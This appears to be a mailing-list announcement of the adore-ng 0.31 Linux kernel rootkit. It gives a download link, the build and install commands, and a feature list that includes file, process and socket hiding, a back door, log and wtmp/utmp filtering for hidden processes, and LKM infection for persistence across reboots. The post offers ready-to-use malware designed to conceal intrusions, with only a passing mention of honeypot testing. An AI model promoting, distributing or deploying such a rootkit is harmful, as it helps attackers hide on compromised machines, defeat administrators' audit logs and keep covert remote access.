hi, At http://stealth.7350.org/rootkits/adore-ng-0.31.tgz you can find the latest Adore-ng. Since the new version supports various new features as previously braindumped in Phrack #61 (evil-log-tagging, LKM infection, reboot residency) I announce this version. If you never used adore before, here's a list of supported things: o runs on kernel 2.4.x UP and SMP systems o first test-versions successfully run on 2.6.0 o file and directory hiding o process hiding o socket-hiding (no matter whether LISTENing, CONNECTED etc) o full-capability back door o does not utilize sys_call_table but VFS layer o KISS principle, to have as less things in there as possible but also being as much powerful as possible new since adore-ng 0.30: o syslog filtering: logs generated by hidden processes never appear on the syslog UNIX socket anymore o wtmp/utmp/lastlog filtering: writing of xtmp entries by hidden processes do not appear in the file, except you force it by using special hidden AND authenticated process (a sshd back door is usually only hidden thus xtmp entries written by sshd don't make it to disk) o (optional) relinking of LKMs as described in phrack #61 aka LKM infection to make it possible to be automatically reloaded after reboot The build and installation process is usually as easy as './configure && make && ./startadore' and/or './configure && make && ./relink' so you can set up your honey-pot test-environment very easily. regards, Stealth
